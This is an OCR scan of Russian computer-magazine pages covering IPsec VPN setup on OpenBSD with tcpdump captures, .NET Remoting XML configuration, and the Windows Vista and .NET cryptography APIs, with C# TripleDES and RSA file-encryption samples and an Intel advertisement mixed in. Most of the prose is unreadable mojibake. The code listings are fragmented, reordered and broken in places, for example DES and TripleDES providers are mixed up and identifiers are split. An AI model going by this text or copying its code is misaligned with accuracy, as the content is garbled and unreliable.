cpdump: listening on ral0, link-type |EEE802_11_RADIO 


chan 11, 119> 


22:51:32. 025841 0:4: 61: 7а: 46: 12 > 0: 13:2: 95; be: 9c, 


Destination Port Proto 


22:51:32. 024954 0:d:61: 7a: 4b: 12 > 0:13:2:95: be: 9c, 
802.11: data: truncated-ip — 90 bytes missing!esp 
192.168.2.1 > 192. 168.2.2 spi OxOEBBADC6 seq 257 len 74 [tos 0x10], 


SA(Address/Proto/Type/ Direction) 
0 192.168.2.2/esp/use/in 


192.168.2.2/esp/require/ out 


бер 20 22:49:51. 862522 (authentic,confidential): SPI Ox0ebbadcé: 


(tt! 64, id 29061, 
ttl 64, id 21941, len 144, bad cksum0! differs by 9f51) 


802.11: data: truncated-ip — 74 bytes missing!esp 


192.168.2.1 > 192.168.2.2 spi OxOEBBADC6 seq 258 len 74 [tos 0x10], 


chan 11, 119> 


А €a+8f0aa авйоаб! A080 1 1 ati ai Ai? &0с! аабайу 
i Of ба! 1 ai е ipsecpol.exe/ipseccmd.exe (ёс é7 i т ваё- 
ба Win2k/WinXP SupportTools), SSH Sentinel, Тпебге- 
enBow VPN Client, éeai SafeNet SoftRemoteLT. 
> Tdi efi af ea а af позобойёбр ddd. Е аё aa- 
deal 0,1 Tati 1 обасабйпу 1 о efi T вис! аа! ey isakm- 
pd @ii fi Г обабй а Adi 61 Гб ipsecadm(8) — т Oi dai - 
Та 01 бааваг ву cal eu aff Gi ей! ааёгагёу! в. xd - 
ай i Of аабёой аа Sadi об а ааейоаёе, байй! 1 обё! 
fda adeé, &1 daa ei a ef AOSOdONATI , ef a a7] ай Га! 
пабааба Ofdai 1 авага *BSD. 

Ni тобеё га AGA 62.1 T ABSA? аабаё 1 м саа- 
ag п ааа ёёр +a: 7 aei аёу о ёб Oi ааг ву обаб ева 
(3DES, 192 bit), adda в — авёу addai 086 евабёе 


(SHA1, 160 bit). 
# mkdir -m700 /etc/ipsec 
Naou : 
192.168.2.0/24 pineme . 


2 
oO 
oO 
о 

м 


Ааёаа, 1 ial ai fil &0с1 аадййу а ааё! {11 ёс ёава- 


bssid 0: 0: 61: Та: 


bssid 0:0: 61: Та: 


192.168.2.2 > 


[tcp sum ок] 1696328699: 1696328699(0) ack 749361456 win 16560 (DF) 


192.168.2.1 > 


[tos 0x10] 


4b: 12, 05 
<radiotap v0, 
4b: 12, 05 


<radiotap v0, 


ёТ аа /usr/share/ipsec (fi 1 Ode eenoei a3): 


| AAA 51 Га ail awi ad Aadaada Aedei о ddaad add 


éyaadu Ai ef ei авг Oi етбааёа! é: 


(5) 


(6) 


(7) 


#DEBUG=echo 
GW_LOCAL=81.211.22.22 
GW_REMOTE=81. 211, 11.11, 
LOCAL_NETWORKS="192.168.2.0/24" 
А11 aoieé 
Aadaad И INGES 
81.211.22.22 
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— 


De 


бам ai, a6 ATi Тибр тб! аба1 та Aact i af- 
éi i edi ааГ ey scp (8) ёёр + /etc/ipsec/esp-enc- 

ё /etc/ipsec/esp-auth-key 464601 абааага вёё- 

foai аойу of виё! cai OAdeOU гс.мрп Га ваге- 
| 


= 
2 
a 


Хх — — 


е 


< 


Adi a: 


>  обаавагаа вам OTT OI Bal в. xdi ad cai di - 
пёой 6 yada Ti adadeiifié пёйоа O таба-аг а 


ci аабийу в oadi 7 е 608 ed! 6 ipsecctl (8) (Al 7 обё вёй- 
d€f 24). [180-200 0848S 1 аби бодесабёе аву &1 - 
ват AO6eOi ааг (OO Ai aaef alee 1 Тай т AiTi Tu dp 
netstat (1) (fi 7 обё вёпоё! а 5). Аёу оааёаг ву айаб 


Р5ес-11 of & а adi? &Гё Afi af аб: 


> Tdthédseaadi cased siaafida аагГаа. 
| дааа! 01001 Eda? enc (4) i баайбааёуаб ft af é fi a- 
deaétii цв Af 0a06 AAT AdAadI 1 в табёё, 11 са! вур- 


ё161 М аббёааойт 61 61 аеаа! ea dT AYU еб/ёйб: ау- 
U ёбтавад: ат adda ai , ваётгеттт A460 a7 AANA 
ЕЗР- 6 AH-i 61 of &1 &1а. Aéy adi éf af ey yo éT7 a- 
бабёё f af ad? аё1 7 Тавааабйт дааа! & пог Adi? BU- 
ci аабаёу (Ai 1обё веёйов! 46). | AAT T даабйбаеёа &1 1 O- 
61 0106 AGI | Adi аа «bad cksum O!» Га ai вай 1 да- 


Ueé 161 cal авбй 6 евйббабёр 1Р5ес-0баб ева 
а 


пабаа! 1 ef бабб аейа га!0, fi 1 обё а BAO аа 7. 


> A) Adi тт полёбаёт об а. Озёе! 7 AdacTI ‚т бе- 


ааа! i ay Adal а даа! ой а fi sada ee fi Addai O86 ё- 
éadei (iti wépcii evi edi 61 сба-Га1 11191, 
1 


addani а, М hedeed бааа 01 61 о бр Пёбавас, айёё 
{addi ado и айабйас са! убийу 1 dani axai eal сай ё- 
ol пабаа! a обад еват di di afi а G8 аай! OT а! а- 
Па \М/пхР-ёёёа! да. Е, +1 Aal татбеум1 а, addi - 
yor? пой оба-ёё &1 16 Gai оваёшт ев &101 61 абёё 
Тбеётабааа--а аа1 Гб бага ейёёр ia © 


ЕГПобобойёё6 Naou 
абааб 192.168.1.0/24 
81.211.11.11 
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28 AEOAAA EAI AEA 


Oadi i &1 87 NET Remoting i баапоаавуад Ai а! é ба- 
aeecadep dai adia ai Adi af O81 af Гада! а! 1 а=- 
{i foaé éaf aéf а (channels), AdU ahdadp и еб aéy аса- 
Ql 1 Ads HOARY т бёё1 ава! 26. Аваа аабу ааг {7 6 086- 
[1 éf 47 Of Aai 1 ai 1 ead оааёаг!1 1 Ada AdUAY 
f auaédal ёс або a Ati агатбеё! cea GE в аазеа 
i caaaaou yoe Тапаёой а aéi ai в-айё! é та yor 
i 


o> 


5: 


fai aa Afi ага.1 a? айабт ёр йабеё! Af OARS, аб i a- 
ai 611 Ade @ oycael 1й0уб .NET Remoting 11 вааб 
ба-и а yo в hoadtia. 

>  аббёбаёобба вагаё! а .МЕТ Remoting. ха] 
i 0ef G@i еави! т Tia товё-заойу То тбеай чт её 
02011 &1 6S Ai G80? а? Al -табай б, 7 / AT ALT ad da- 
aohy Гатата!11 ‚ ага Гай& 60666 7 OF OI &1 аб 

та 


йбасо (айёётбё Ai сааГ её Ai ёаба ай аебааойу 

(ei Of of & в, Гат бе! аб, tcp ёёё udp, of eel aa 8 
46446 р cad). | бё баа! 08 aa A .МЕТ Remoting 
fi caaadny Г adi 6 Gai ei ага Gadde i Of O a4, 
efit éUcdai Gé Тбе&1 df eal. хабас af aéd 
1 Тай 1 табаааааой вр adp Gf 676i абёр, абай OT 


34 Ai OODE NAOE 


.МЕТ АЁВТА 


38 ГА МОРАЕ АТГ DRAEA 44 DACAAAEA Ai Ai 


| ACI DE ААС! Т ANI i NOU ADOE OAE OODU 

Ne ENOAI U EAI AEi AA WINDOWS VISTA 

AYii OOWINDOWS ХРТ ii AEANAOAAUA Ei i i Of EEAOEE 

Т NOU ANOAEREENU xADAC Ni EAOU, Ei ОГ DUAT Ni i AUAAEENU 

ГА EAE 1 -EEAT 7 Afi i ТЭГ ОГ Ef EAT ADAAAxE АА! ГОО. Ni EAOU 
DA@ AEE E DAG Ab Oi ГТА! CAAAxE Ti МАЕ AAI О, [Т ОАОГТ ET AEE 
DACAEAAP ОМВ, ET ANI Ai ONOADU! {| DEO] AROAI ЕАА 1 Т AUA 
АГабае Аб! 

loffbit security team (Sulverus@ тай. ги) 


баёйо евё бавёй, {1 па! Gi a@aai di fi ai ааааа- 
feai уаёуаойу df, +9 -абас ваГаёй 1 fai тада- 
aaaaou i 61 681 1 Гав Af a. [ a1 Sei аб, Г SI аба\ - 
1а1, [261 ayu ayy а afi агат беё! wal ay А, Oi - 
-аб adiféfedou ваё! в-\ aéié Giada, паба 
отаа гад, fi if апой ОТ 61 а6а1 1 а 2, Af бау Г a- 
Of авойу а 811 Af AT беё! edi AV А вёё мтацата 
adda &1т up баба fade. 

Dai tig a ai & 1 тевубёу в! аа айёа Г абааёи- 
[1 6 сада-ав, а батаби1 1 гы 1 Табаааааой врайа 
Тацавой 11 пабе, га-ёГ аут от ST MONG é саёаг -ёаау 
баёи! & ёваййа ё ё аёГ ai е-айёё ё па! бёа] в. 
А Гар ai féo+aa i 61 аба1 1 a1 7 абаоёолу ET BT a 
dal 1 a2 ada Edi ABA Bi Ti 61 Hed дат абайёадй ае 
{ бы ав Тацаёб +абас Еагаё A. 1 7 85284 Таиа6д, 
i Of аба1 1 ai 7 ad баа! баба Ai ei , ат! ei You ad 


(1) 


Real " 


Net Remooting 


‚ МАК, 


"| mpersonation'> 
"| mpersonation"> 


> 


| 
"| mpersonation"> 


"EncryptAndSign" impersonate="true" 


ue" Tokenl mpersonationLevel 


"| 


ref="http" рогЕ =" 5000" secure="true" protectionLevel ="EncryptAndSi gn' 


impersonate="true" Tokenl mpersonati onLevel 
ref="tcp" port="5001" secure="true" protectionLevel ="EncryptAndSi gn' 


impersonate 
ref="ipc" portName="myl PCPort" secure="true" 


"RemoteObj ectPort" 


<ме| | known mode="Singleton" type="NetRemooting Real 


obj ect Uri 
</serverProviders> 


</ channel > 


<channel 
protectionLeve 


</serverProviders> 
<serverProviders> 


</service> 
<channel s> 
<serverProviders> 
</ channel > 
<channel 


Adifaaleiue @iidea aey nadaada 
<channel 


<configuration> 
<system runtime. remoting> 
<application> 


<service> 
Tokenl mpersonati onLevel 


wa до 
ее! wa- 


Тб 


Аб 11-06 
Ари 
aaeec 
aéy 
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tcp-channel, http-channel, ipc-channel é IChannel. 
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^ 2 


nels. ‘Http é Channels. Ipcf aaicitad, {i au afeédi га 
Oi af ye Gaddoceo +40a¢ 6aééd ii 6 ваобабеёе! 
Afao ai 161 аёоа1 а Addai Afi T ёйс! Addu &1 го ё50- 
бабёр Sai да е пабааба -абас хт|-6 aged. 

DaAhi т об тт al 7 AO/ 6p 1 тааёи. Мга-ава 
1d (aiég ai ééann, ес &1 Of OT & т SI аба 1 а A680 
Adadt 1 ацаёо е табапа ёа0й BA Addai 6 7 Oi аба1 | а. 
Aaéaai 0 Гат eo ai 1 Oi Bal | 6, & Of бау Adaa0 Hi с- 
аааа0й 6af 260 OT daadl а61 зуи ad 7 AUaROaTT 
http-€af 466 (6A€i Af T аа1 Tei гасаадй пабааё! 1 ). 
А caaade af 881 а (ai ao al &ве8го, & OF бав 4480 
Табаааааой пабаабо ёвайя eV iT явааор и ав даа! - 
ой.1 абаваа 47 Of абай 1 GST аагеёр. 
> Teeal ввайй. [| ав &ёайй а0а80 81 ai BUT 0бё- 
aeaéal ‚11 Aét виёб Ail забаезой1 | абаао OF BUA 1 AAI 
1 аб а aey cai onea if ee! war ёв. № caaal 101 a@o 
Т бё fai ейа! ae 41 аа1 аусадаёш! пёаабаб базсае, 
= ec yor а eéanina 1 jai ‚а6а0й 1208600 . Yo 
System. MarshalByRef0 bject, aéy +aa Гог! @й- 
11 вис! аадй т 01 поба! Ada? &1 Af System.Runtime.- 


dani, & Of ба в AdaadT абааааабийут1 fade 
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Oai аби { ai ёв ai 161 Ai 1 6, Af Of BAY абаат Al - 
1 а0й ёёайй МВВ @ efi 1 ici ааа аа 11 Aal 11 отбу- 
lil огасга-агеёр. 

> Тёра пабааб. М! сала Ai ATAU O47 dT dao 
ё af азавуа! 4 1 aa тд! Adda AOAT Ai af System. 
Runtime.Remoting, аа1 adi 4 main ai 4aaéyai Addi - 
€6 Console.ReadLine(). Aéy fii caai ey йа! та пабаа- 
ба1 0 абаа! Shit ci AOU хт|-0 а6&. хо ай Ai &0- 


бага а! сабаи адййу ё & 46 пабааба, пбасо саабо- 
cel i anodi 6ёё: 


о ОЕ 


Oi аби af азаё! A 1 BT AGO xmI-6 а6ё, Гастам Bat 
ServerConf.xml ё i defddi ei é faiehafep .NET 
Remoting-éi i 6 éaa. хо ай ai 606 a Ei Гб ваббабер, 
{ daft Ait вс! аадй дааё <configuration> é <sys- 
tem.runtime.remoting>. Вайй! 1 061 Тбё аб eT i 6 e- 
a0dadei (fi a 6 авёа: 


éi Го da6dadey пабааба 


Remoting. Messaging, А басоёибаса 1 Ada OAY OF UAT 
af аааёдй 1 adi a аву cai ойва 1 61 баййа 1 adi ati 


л no 


Process.Start(). A Qo Sai? &0- a7 оба в Ai a: 


Компьютеры 


ВЫ сочайшая NBOUSBUL ИТЕЛЬНОСТЬ. 


Технология, на которую” = 


Oe fs VALE 


можно, ПОЛОЖИТЬСЯ 


вв сотрудникам реализовать свой потенциал. 
Выберите компьютер “Передовик”. на базе двухъядерного 
“ процессора Intel® Core™2 Duo. = 


(812) 703-10-50 | сетевая интеграция, ноутбуки, 
(812) 325-25-05 | рабочие станции и периферия 


М, ROTH total, Intel tsade, ооо МИ Пера tenet Comme, урону inte Сати, Pentium @ И Kenn эвлекутгь товарные THRE Ge зегестрырсньньлия товафыьаки узизые соолофации Ви п ee поратяление ¢ США # другие стракат 


(intel al) 


Два ядра. 
Делай больше. 
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fii aa00 
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йа IChannel Гат 
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RC4, RSA, DDS, DES, MD2, MD5, SHA16, SHA32, 
SHA128, SHA512, Al NOD 34.11-94А... 1 +af tii {1 - 
&аай! ада! а/111 aacii afiti 7 dt аба1 1 261 Aas ee 
даё 6&8 @f a+a пауса!!Т п yoel ё Ad45aaea0d5Al в. 
A Гар а аба\ y i 57 ава! а сай AON AF OTS абёё в, 
fil i оааойоаа! 11, EGET OF баб Ge й ёазвай1 Af ai fda- 
{1 аволу Aha аёбоаёи! аа. Еаё ACaAdT, AU a Оасаби 
в 26 Of ааё (agi ба Aldi агой ёбёа аао01 ё 
ёбёт OF абаб ё--апёё в ава SEDI A в. 

Ai dead Hii ca Win32 бааёёс! dai a пейс 
Та ёбёт мт 61 аавааб! A ё HAAS а Af 0406 аей! а 
é{éi . A Windows Vista, fii af? é Adi 61 Га, айа га 
heétit Sci af €i Au: aha даё aed 1 поаёйу Crypto- 
graphic Application Programming Interface, 11 fi або- 
& в Ad OT/ O Odi ASU апа Oi баава! ва ёбёт OTT Bi - 
aaéaadai ё ааааойу fai Ali aa i ёа00 1 01 O NET, 
a ci a+86, afia вабае!Г ABUT Aci af A€i AU. | бёв &1 
adal у бас! абабипу A AeAdai 7 é ёбёт мт OT ааваа- 
di a a Windows Vista. 
> — +df ай CryptoAPI? ТТ af af ay пёйоей а айёа 
тбёая af a A) таг ead] ASOT AT о OS) Of A, +07 ай 
бааёё-0и Aact i AAT AOU т беё1 аваГ ее еттбаааёа! - 
[01 Табас!! йобоёоббеб! аадй ебет OF абаб ё-айёёа 
аёа dedi й aéy dai айдаа Ai Caaf ey i 61 аба! 1 ваё- 
[а ё-айёёб аваёё O44. А Win32 4087 базёёс! аа! 1 
даа аабпёе СгурюАР!: 1.0 6 2.0. АТ! féaai 86 аабйёё 
11 ааабавёааёт AUT zal 1 11а оётта бет OT абаб e- 
-апёёб i ба! абас! аа! ев, (ari ay То daci add ё 


i Of AOU б ё Cabal -ёаау A? af Gi ёё а! ваа (1 аа] в. 


xO] AU EOI i AEE Ti ГЕ! АОО 07 EVE] ECADAI ГОА, СГАР UEAI AOi ADANOEODI AEE. 
Ai АРА! Ai A Aoi Di Ej EDI Ai Е Al Ei U AAI AEEE EOx@EAO] Ui EDA EDEI Of Ai AEEOEEE 
(AEAEx EE | ADE) AEEENU CA OI , xOi AU DAN® EOD] AAOUAEAI DEO! Ci Ai Ai EOI Е 


i АВЕГО ENIGMA 


Ai adaé Adi 


ата aéa Sulverus 
team (sulverus@ mail.ru) 


loffbit securi 


A 1 €&0676i а .NET Framework а Common Types 
System(CTS) бааёёс! aaf 0 &вайла aéy Sadi Od A 
СгурюАР!, аа adi é¢ “баб уавуадйу ééann 
System.Security.Cryptography. А 11 Aéaai а6 аабяёё 
„МЕТ Framework (fa 111 af oi ai ейагау пбадае — 
3.0) базёёс! аага вбёт мт OT аавааба аву Г AA ё1- 
686 fai 1 Adde+ аб ава бёй Та — DES, Triple-DES, 
RC2, Rijndael, 4466 аййё! а00ё-{ 06 — 00$, ВА ё 
аёа бёы Та буд edi dal ey — МОБ, SHA1, SHA256, 
SHA386, SHA512, MACTripleDES, HMACSHA-1. [ а 
fai 11 aaéa, yor &ё0 п af Adi Af 807 аа! {ба ёбё! - 
Gi i Of ааваада, а OdAdLAE аабйёе МЕТ Framework'a 
базёёс! аа! i +600 ai Gio а, sai Aacal? 4 ai Adi af - 
oadee. EST) ам a, NET ТТ ааабеезазао пёйоа 6 
fad086 евабеёе Х.509,1 AG STAI п AU ATTA а ба. 
Aéy ofa +01 ай Tif you апа 1 бе! бета ет а ааааа- 
Гёу СгурюАРГа Windows Vista, i а агётогор caé- 
Та! пу баавёсабёае Ahad ci 1 ef аб ёбёт OF абаб ё- 
-апёёбт да! абас! аа! ев. ху ай ос! ада, ваё Sadi да- 
pofel 1 аббё- паё afl | Addex аа ава Ged Oe 
fhefdal й 060 61 ай бт! ат ейав, Ai 1 Ode HOA й 1,26 
3. Ааё! yor Тай аёсаайо! 1 а, ет пода! завёазоййу1 O 
Гага fa adaai .Т баава +d) 1 OT eA Ai f Bi7 A 
daahodal {7 ётд1 Aai 1 267 Aas ep, Ai ва! 50a) , +0 
40aa0 61 аби Гав ат Of ddai 1 a. 


>  dacdi di? adi a. Авуга-авёа Af 68a аадаёи! 1 
бай! 1 Ode Saaeeci аа! ita a МЕТ framework aé- 
& Sed а ё 86 ёбёт OTT 61 аавааба. Ес Al 1 Adde+ 
Габаёа бей 1a eli тагёу| авёёт AT д обазёёс! аа- 
6a DES, Triple-DES ,Rijndael ё RC2. 

DES adéi eadi af ai ai ашт Aaaii, етбаай- 
dade yad fi ai 6 аёа Ged | 6 OT dal ву пей! 7 Biici - 
dai éai 56-d@0i 7 a вёр +a. A i AAD VU да аба уй-- 
oaadny Га па! 01 adcii ahi di ёс-са Adi ati & 61 981 é 
aééi d Gép 2a. Ai 0603887 Of aa, гааза!т базёёс! - 
aaf i dé Triple-DES с! а-ёбаёш 1 Гаада= аа ё daci - 
i afi аа, — авы a dal ёёр +a Ai позаёуао 168 аё6. 


Private key 


2 &6 Of баёйь 


Мет i аобё Г а в ава бе 


Мёзабри e480 cdi UAT ааа в ё ёбёг OT A 
a 6886 AGA O8d1_Rijndael, daéee8 Гасйаа81 UE AES, 
1{ 11 48dee84a80 3 аёаа ёёр +86 (128, 192 & 256 ddd). 
1 06 6649 6 ава бей та, озавёст азигаба МЕТ. 
Caddo З8 Гав Ai Baca eH TAIT AdoT 81 28 ВС2, 81 - 
al UT ёсаЗАЫ (6 411 бЗаЗ881 Г 06 €008R6 AGA 629 
Adi 1 8506-11 & о 80 OT Al ay, авёга MS =A &1 OT OT - 
& | Tedd at AOBAdOU 2048 480.1 1 81 6-5 &1 тагёу 
| авё51 ATO OF 87 O4d8a т Odi T +08 28 TT AGAAT AL 6 
ава бе 6, — yor TAuyAT узел O81 , +01 ЗАЗ TET A 
&3a/ 86 SOARS NET (8 бЗавёс! аа Gai OFT OT AaE- 
886 dy AGS O80 ARC4A.11/ YORa ARI 1 S008 GGA 
at 801 74 1 OdaNoadsyAd fl AT 6 AAAI 6 w ё6 51 Ad- 
(ey dal (U6, a aor OT AF 6101 8087 cdo &0 OT Ad Aa- 
Sony @ бапо 86 51 AGAaaOAY Talal ёёр 1 .Ттага- 
(GAARA G уаёур оду 81 al аш! Sai OF AT вёё 8, 
И QAI T ёйсбр ony AT ATT AT] пбзает AGH STT ёй- 
стазозвав авут AI ага A167 1 абёза. A AASUACI аб 
box U8 asd} 569 A, 11 AA SUAS TIA) Af do Ai aaa- 
b ofy Acét 687 808d7 56. A авы 1 805ё-1 GO AeAOA- 
1 6 ай8 & OACAT &1 888 дабааси 1, TOT 6 Ot 108 
080 51 388 ё dra &6 ST AEA Ai O11 абёё Viti 1 &йсб- 
Sony Г аё1 081 ep +86. Аз пёб-а8 AdadO пои a- 
Adal AdOU T 5650 506 @ CASH ONE ёёр +8. 7 авай1 &6- 
ado 86 Of аЗойлу ATT аи ага, a aot 501 — arm 26 - 
51 adaaouAy. А aAAdl 8068+ 06 ава adi аб ау 
ВЕТ aof 1 AOU саёёр 2BAOMY AT абааа=8 Sep -8в. М AAS 
daél & [35511 TAAL ey Ad], М Sb drei Тао! 1 - 
&5280U caw 86 ST AAI dp ef OTO1 adap, cdo ё6 OI - 
0 86 61 4300 88 М 1 85 Of UAT 1 авзазозай саёба At - 
a вёр-а. А.МЕТ баавёс! ага addi Ot т Ot азвааба 
aéy 388 65 ТАВЗА 2 055. RSA — ai 4181 &са8- 
Aol Оба М-650836 ава Sadi птовваоо! ep ati, 
й-ебазоду 1 -8гоаасттайг G1, a авёга ёар 28611 - 
addi af YourY a саёйЫ TAORTOAT cl Tal TADS са- 
aa+henoal . DDS — of 8 ABS Sai AAAI 1 855611 - 
& 9 86 61 aal ey, (7 Al AAO! 108509 & вр aati ёй- 
Г! &0с680 686 ST Adp TiAl anu (1 а orl 1 Gita at- 
dai 283888), авёГ a Mob 20) Tedd dd OU ёр dt 6. 
+  TTAdAAd ASA 688d. | абавай ST Oi Addi} &61 - 
aarep. Гатбы 858 dar ii 6 позе Yi OT 881 TT AOSA- 
Sop 6881 06 A SRI OTT ST Aad! &, бат риа ё 
ATarel chal G6 dact i айг аб ASA 629 Tao 26 51 83- 
[7 — RSA, 21 6068 11 аааг&1 ANAS ёт ёао8аы 1 - 
855 + GO ARAOSI AG, (1 681 86 а Web Money. Oaéeed 
1 0 OAAAL 1 088i T ALT AI GAT бег бага OAdT OG A AROOR- 
6 aéaoal 8 48/106 X.509. Е 17a at 86 0acda0ai AY 
А був #51 Aa eal 686 OT AU) Bi TAT any a. 

[6-5 a8, 1708 cai 6REdOU побаёр , AT сазааой 
(TAGE 1 OT AOS AOACS aed аёёр +300 а Mi AA ST OT AD- 


af aff 6 ес йбабиае (http://offbit.1gb.ru/article/read php? id=24), 
{i afia daafi fai 11а пёааб1 баа! ба й ава бёо- 
11 ОЕб, а 9 аа — fad м аба! afidi агаё! - 
&1 Triple-DES. Aéy Гав ё6 eAnéaai аа! eé i O аб- 
аа! ей! вис! aadu Ti ATT GOiTa di вева а 61 6ё 
hod? 68: «Хакер — Super Hypper Rulez!». 


Edel Oli Olaaeaadu Tripl eDES 
public class TripleDES 


public static bool 


{ 


Encrypt(string OpentText, 


try 


{ 
DESCryptoServiceProvider TDes = 


[/ficaaal 101 аавааб 

TDes. Key = АЗС! | Encoding. АЗС! |. Get By 
TDes. GeneratelV(); 

| dai adeddai aaedid ef @deaeecadee 


|CryptoTransform encryption = TDes.C 

[111 сааа! oeodiaaeivee 

FileStream Fin = new FileStream(OpenText, 

[11 сада! daééiada ii oiée 

FileStream Fout = new FileStream EncrText, 
CryptoStream crypt = new CryptoStream(Fout, 
byte[] outtext = new byte[Fin. Length - 1]; 


Fin, Read(outtext, 0, outtext. Length); 

crypt. Write(outtext, 0, outtext.Length); 
//986606ai 

crypt.Close(); 

[| саёбодаа! 

Fin. Close(); 

Fout. Close(); 

Console. WriteLine("Done"); 


return true; 


} 
//4aéaa 1 ddadidéa Тоба! ё 


} 


public static bool 
{ 

try 

{ 
TripleDESCryptoServiceProvider TDesDec = 
[/ficaaal 101 аавааб 


Decrypt(string SafeText, 


DesDec. GeneratelV(); 
[ аагабебоа! aaedld ei еббавесавеёе 
ileStream 5Техё = 


yptoStream DecryptionStream = 
yptoStreamMode. Read) ; 

[11 сада! seddiaaéeudeé 
reamWrite 
OpenT. Write 
//6ahoe6di adaaal 
OpenT. Flush(); 
| саёбодаа 
OpenT. Cl ose(); 
Console. WriteLine("Done"); 
return true; 


} 


| Газёаа 1 ddadidéa Тоба! ё 


оо --=--+ 


new FileStream(SafeText, 
CryptoTransform decrypt = TDesDec. CreateDecryptor(); 
new CryptoStream(SText, 
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(1) 


string SafeKey, string EncrText) 


new DESCryptoServiceProvider(); 


es(SafeKey) ; 


eateEncryptor(); 


FileMode. Open, Fil eAccess. Read); 


FileMode. Create, FileAccess. Write); 


encryption, CryptoStreamMode. Write); 


string SafeKey, string OpenText) 


new Tripl eDESCryptoServiceProvider(); 


DesDec. Key = ASCII Encoding. АЗС! |. Get Bytes( Saf eKey); 


FileMode. Open, FileAccess. Read); 


decrypt, 


OpenT = new StreamWriter(OpenText); 
new StreamReader(DecryptionStream). ReadToEnd()); 
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Daaloa edel oll diaaeaadale RSA 
public class rsa 


{ 


} 


static RSACryptoServiceProvider RSAp; 

//aéi daédidé bei oii di ааваад 

public static void Decrypt(string OpenTextFile, string PrivateKeyFile, 

string Output FileName) 

{ 

Xml Тех{ Кеадег PrivateKeyLoader = new Хм! Text Reader(PrivateKkeyFile); 
PrivateKeyLoader. WhitespaceHandling = WhitespaceHandling. None; 
PrivateKeyLoader. Read(); 

[]cadddwaai вере 

string PrivateKey = PrivateKeyLoader. ReadOuterXml (); 

StreamReader file = new StreamReader(OpenTextFile); 

string encrypted = file. ReadToEnd(); 

[]cadddwaai oeddi оаейо 

RSACryptoServiceProvider decr = new RSACryptoServiceProvider(); 

ГА! сааа1 101 аавааб 

decr.FromXml String(PrivateKey); 

//afoadéyai @ép+ 

byte[] buffer = Convert. FromBase64String(encrypted. Trim)); 

11 байоё00! abaaai 

string decrypted = АЗС! | Encoding. UTF8.GetString(decr. Decrypt(buffer, false)); 
Console. WriteLine("Done"); 

StreamWriter decrypt = new StreamWriter( Output FileName); 

decrypt. Write(decrypted); 

//iegai a баеё 
decrypt. Flush(); 
[1 саёббаза! 
decrypt.Close(); 
} 


public static void Normal Encrypt(string OpenTextFile, string OpenKeyFile, 
string Output FileName) 

{ 

try 

{ 

Xml Тех{ Кеадег OpenKeyLoader = new Хм! Text Кеадег ( OpenKeyFile); 
OpenKeyLoader. WhitespaceHandling = WhitespaceHandling. None; 
OpenKeyLoader. Read(); 

[/cadddwaai 1oesdode вер 

string ОрепКеу = OpenKeyLoader. ReadOuter Xml (); 
RSACryptoServiceProvider RSApNormal = new RSACryptoServiceProvider(); 
ИГТ сада! тб! аавааб 

В Ар№ог ма |, FromXml String( ОрепКеу) ; 

StreamReader file = new StreamReader(OpenTextFile); 


byte[] b_file = АЗС! | Encoding. ASCII. Get Bytes(file.ReadToEnd()); 
string crypt = Convert. ToBase6é4String(RSApNormal.Encrypt(b_file, false)); 
11 оёббба1 


StreamWriter Encrypt = new StreamWriter( OutputFil е Маме); 
Encrypt. Write(crypt); 

[/iegai a баеё 

Encrypt. Flush(); //fAi dai yai 

Encrypt. Close(); //caéduaaai 

Console. WriteLine("Done"); 

} 

[Г азёаа Табаа! оба igedié 

} 


[183888 O48d зайтарогт aragiaesiay обгёбёу NewEncrypt() 


3 


= 


A yoti вёапйа fil саа8оду 061 &1 a1 61 AAARA, ef OF - 
S06 40480 сат! Af YOUAY був -сГа-аГёй ё. № сааад- 
fyi аййёа аава а, саг! ef yai ав тбеёт!1 Тиё ай - 
aa Console.ReadLine(). Cadai М сааа! adel тб! - 
aaéaadd а ef a) в-айё! ета у0ё, w ё6 ба ё са- 


11 &гуа! 1051 éf а1 61 аййёа. 


>  исаговавиг аа бусай 1 Ade. Мейоа а Crypto- 
АР! ai ai Gti? i ao ef ae ef бабай! а, {1 yor Га ейё- 
ёр +440, a7 -аГ и daeea Ait AT айдабад ai Glia 71 6 4 - 
6é+ahoad f adi +adt a а гав. Ca аба! у f ai ейаг ey 
hoadue aad! 6 Adi 8 оёпу Af ane? вивы Ei ada? Ef а- 
[Я ё 466 Ada 7 58 Safa 6 ST ава ава BEd 11 RSA, 
i Of ава! 7 егай! ai aMdsi 1 AOE Ei аеб! а1 67 GE був e- 
61 ааГёё & Saf 20 61 аёа AeA бёй A DES. ET i aH7, 
дабеб Géadi 67 O67 GET аба! 1 Ef Af 64.466 аба, ет! A- 
бат! уава! ву 1 ёга Af aai éhtp 1 oti , +01 7 Of dai - 
1 a adi? éf ава г aati OAdei ор 1табабер , a GT AT Ee 
i? yaeéahi г аат @AU overflow A & 811 То ваёё. [1 
[а баёё0т OT ПОЙ бт бе! абаб ава!1 , Гайё! BUAT аи 
{ aai баа! сага пейба! a ёбеёт Of абаб ева .МЕТ. 

Ti тг лёааг а! тааи afayi &1тагеё| а6ёб! - 


С 
hé 
a 


mo (ТР 


хо args 


fii 6 0, айа i adi 17 Ade ST w ваёё AdA00 ей! бааваг O 
aii éi7 é позаёёи! 1 é аабйёе NET 3.0. Addai авааби. 


> theend.| д осГабё Гав! of 604 ai Adi Af Adda ё 
{ adi поаовё СгурюАРГа Windows Vista, Га! fi ai дай- 
fi тобаёе т Of Adda AOaT ei af System.S ecurity.C rypto- 
graphy, 60adéi @cd+86é afia авай вбёг OF HAG ё-айёёб 
asa бей 1.4 & еб Ade бт 61 ааваабт аа NET. [ а1те 
асавуа, hal 16 daci тай! 1 в базёёсабёае ёбёт OI а6а- 
6 ё-айё! а ава Sed aa NET уаёуадйу RSA, — 11, ёаё 
ё апазаа, г ааааеа!. Ааа! (O61 11 агоаа \iadi Я a- 
éf efit вис! аади а йа! ёбт 01 аёоаб (п авё!1 в вёр +a, 
[2-21 ayi 02048 —Т ба .Ог.. 

Aici i aii, Га& of 60.8 cad bam G8, Adi во Ee 
ей! 1 вис! ааой ебет OF абаб Ep а .NET a йа! G67 61 аё- 
баб, {1 уай гай! dad ааё ааёадит Thi ав Габаца! - 
ата, тт Aéi в0&б NET Framework 2.0 ё .МЕТ Frame- 
work 3.0 Pre-relese i +af U йёёи!1 1 овё-+ар ойу абба 
16 абоаа. Ала поагаотт гус !, éf ааа 406480 Aoa- 
аёё ау аабйёу .МЕТ Framework 3.0 © 
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| 7 A@? 6UA6 а1 Bio Af AOaT AT Adal A (U6 аебой! а аёу 
11 66+af ву Of бааёаг ву пёйба! 7 é абаёор ое! Af it 
